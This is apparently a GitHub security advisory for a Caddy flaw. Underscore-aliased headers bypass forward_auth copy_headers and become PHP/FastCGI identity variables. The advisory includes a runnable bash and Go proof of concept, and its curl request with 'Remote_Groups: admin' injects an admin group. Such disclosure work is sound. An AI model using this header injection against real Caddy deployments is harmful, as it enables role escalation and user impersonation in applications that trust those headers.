Skip to content

Caddy: FastCGI header normalization bypass in `forward_auth copy_headers`

High severity GitHub Reviewed Published Jun 8, 2026 in caddyserver/caddy

Package

gomod github.com/caddyserver/caddy (Go)

Affected versions

<= 1.0.5

Patched versions

None
gomod github.com/caddyserver/caddy/v2 (Go)
< 2.11.4
2.11.4

Description

Summary

forward_auth copy_headers deletes the exact client-supplied identity header before copying the trusted value from the auth gateway. But when the request later goes through php_fastcgi, Caddy normalizes HTTP headers into CGI variables by replacing - with _.

This lets a client send an underscore alias that survives the forward_auth delete step but becomes the same PHP/FastCGI variable:

Remote-Groups  -> HTTP_REMOTE_GROUPS
Remote_Groups  -> HTTP_REMOTE_GROUPS

Remote-User    -> HTTP_REMOTE_USER
Remote_User    -> HTTP_REMOTE_USER

Result: a remote client can inject or sometimes override identity/group headers trusted by PHP/FastCGI applications behind Caddy.

Details

forward_auth copy_headers intentionally removes client-controlled headers before setting values from the auth response:

  • modules/caddyhttp/reverseproxy/forwardauth/caddyfile.go:212
  • modules/caddyhttp/reverseproxy/forwardauth/caddyfile.go:222

That delete is exact-field deletion through http.Header.Del():

  • modules/caddyhttp/headers/headers.go:255
  • modules/caddyhttp/headers/headers.go:281

So deleting Remote-Groups does not delete Remote_Groups.

Later, FastCGI exports all request headers into CGI variables:

  • modules/caddyhttp/reverseproxy/fastcgi/fastcgi.go:410
  • modules/caddyhttp/reverseproxy/fastcgi/fastcgi.go:414
  • modules/caddyhttp/reverseproxy/fastcgi/fastcgi.go:510

The normalizer replaces hyphens with underscores:

strings.NewReplacer(" ", "_", "-", "_")

So the trusted header and the attacker-controlled alias collide in the backend-visible CGI/PHP namespace.

This is distinct from GHSA-7r4p-vjf4-gxv4. That issue allowed exact copied headers to survive. This report reproduces after the exact-header fix because the bypass uses a different HTTP field name that only becomes equivalent during Caddy's FastCGI export.

PoC

Run from the Caddy repository root with bash:

set -euo pipefail

tmpdir=$(mktemp -d /tmp/caddy-fastcgi-header-collision.XXXXXX)
mkdir -p "$tmpdir/www"
printf '<?php echo "ok"; ?>\n' > "$tmpdir/www/index.php"

cat > "$tmpdir/servers.go" <<'GO'
package main

import (
	"fmt"
	"log"
	"net"
	"net/http"
	"net/http/fcgi"
)

func main() {
	go func() {
		mux := http.NewServeMux()
		mux.HandleFunc("/auth", func(w http.ResponseWriter, r *http.Request) {
			w.Header().Set("Remote-User", "alice")
			w.WriteHeader(http.StatusNoContent)
		})
		log.Fatal(http.ListenAndServe("127.0.0.1:19011", mux))
	}()

	ln, err := net.Listen("tcp", "127.0.0.1:19010")
	if err != nil {
		log.Fatal(err)
	}
	log.Fatal(fcgi.Serve(ln, http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
		fmt.Fprintf(w, "HTTP_REMOTE_USER=%s\nHTTP_REMOTE_GROUPS=%s\n",
			r.Header.Get("Remote-User"),
			r.Header.Get("Remote-Groups"))
	})))
}
GO

cat > "$tmpdir/Caddyfile" <<EOF
{
	admin off
	auto_https off
	debug
}

:9082 {
	log
	root * $tmpdir/www
	forward_auth 127.0.0.1:19011 {
		uri /auth
		copy_headers Remote-User Remote-Groups
	}
	php_fastcgi 127.0.0.1:19010
}
EOF

cleanup() {
	kill "${caddy_pid:-}" "${servers_pid:-}" 2>/dev/null || true
}
trap cleanup EXIT

go run "$tmpdir/servers.go" >"$tmpdir/servers.log" 2>&1 &
servers_pid=$!

for i in $(seq 1 80); do
	if (echo > /dev/tcp/127.0.0.1/19011) >/dev/null 2>&1 &&
	   (echo > /dev/tcp/127.0.0.1/19010) >/dev/null 2>&1; then
		break
	fi
	sleep 0.25
done

go run ./cmd/caddy run --config "$tmpdir/Caddyfile" --adapter caddyfile >"$tmpdir/caddy.log" 2>&1 &
caddy_pid=$!

for i in $(seq 1 80); do
	if (echo > /dev/tcp/127.0.0.1/9082) >/dev/null 2>&1; then
		break
	fi
	sleep 0.25
done

curl --noproxy '*' -v http://127.0.0.1:9082/index.php
curl --noproxy '*' -v -H 'Remote_Groups: admin' http://127.0.0.1:9082/index.php
cat "$tmpdir/caddy.log"

Observed on commit 6c675e29f87cbe7326983ddb6d739175119d394c:

Baseline:

> GET /index.php HTTP/1.1
< HTTP/1.1 200 OK

HTTP_REMOTE_USER=alice
HTTP_REMOTE_GROUPS=

With attacker header:

> GET /index.php HTTP/1.1
> Remote_Groups: admin
< HTTP/1.1 200 OK

HTTP_REMOTE_USER=alice
HTTP_REMOTE_GROUPS=admin

Caddy debug log confirms the FastCGI environment contained:

"HTTP_REMOTE_USER": "alice"
"HTTP_REMOTE_GROUPS": "admin"

The auth gateway returned Remote-User: alice only. It never returned Remote-Groups.

Impact

This affects Caddy deployments that use:

  • forward_auth with copy_headers for identity or authorization headers;
  • php_fastcgi / FastCGI after the auth check;
  • a PHP/FastCGI application that trusts the resulting HTTP_* variables.

Impact examples:

  • deterministic group/role injection when the auth gateway omits an optional header, e.g. Remote_Groups: admin becomes HTTP_REMOTE_GROUPS=admin;
  • probabilistic user impersonation when both the auth gateway and client provide colliding identity headers, e.g. Remote-User and Remote_User both map to HTTP_REMOTE_USER.

Realistic examples include trusted-header SSO deployments such as Firefly III remote_user_guard using HTTP_REMOTE_USER, or MediaWiki Auth_remoteuser using HTTP_X_AUTHENTIK_USERNAME.

AI disclosure

The LLM was used to help analyze the Caddy codebase, compare relevant code paths, draft the report, and organize reproduction steps. Human security research judgment and insight were used to guide the investigation, validate the root cause, run the local reproduction, assess impact, and make the final report conclusions.

References

@mholt mholt published to caddyserver/caddy Jun 8, 2026
Published to the GitHub Advisory Database Jun 16, 2026
Reviewed Jun 16, 2026

Severity

High

CVSS overall score

This score calculates overall vulnerability severity from 0 to 10 and is based on the Common Vulnerability Scoring System (CVSS).
/ 10

CVSS v3 base metrics

Attack vector
Network
Attack complexity
Low
Privileges required
Low
User interaction
None
Scope
Unchanged
Confidentiality
High
Integrity
High
Availability
None

CVSS v3 base metrics

Attack vector: More severe the more the remote (logically and physically) an attacker can be in order to exploit the vulnerability.
Attack complexity: More severe for the least complex attacks.
Privileges required: More severe if no privileges are required.
User interaction: More severe when no user interaction is required.
Scope: More severe when a scope change occurs, e.g. one vulnerable component impacts resources in components beyond its security scope.
Confidentiality: More severe when loss of data confidentiality is highest, measuring the level of data access available to an unauthorized user.
Integrity: More severe when loss of data integrity is the highest, measuring the consequence of data modification possible by an unauthorized user.
Availability: More severe when the loss of impacted component availability is highest.
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N

EPSS score

Exploit Prediction Scoring System (EPSS)

This score estimates the probability of this vulnerability being exploited within the next 30 days. Data provided by FIRST.
(11th percentile)

Weaknesses

Improper Authentication

When an actor claims to have a given identity, the product does not prove or insufficiently proves that the claim is correct. Learn more on MITRE.

Authentication Bypass by Spoofing

This attack-focused weakness is caused by incorrectly implemented authentication schemes that are subject to spoofing attacks. Learn more on MITRE.

Inconsistent Interpretation of HTTP Requests ('HTTP Request/Response Smuggling')

The product acts as an intermediary HTTP agent (such as a proxy or firewall) in the data flow between two entities such as a client and server, but it does not interpret malformed HTTP requests or responses in ways that are consistent with how the messages will be processed by those entities that are at the ultimate destination. Learn more on MITRE.

CVE ID

CVE-2026-52845

GHSA ID

GHSA-f59h-q822-g45g

Source code

Credits

Loading Checking history
See something to contribute? Suggest improvements for this vulnerability.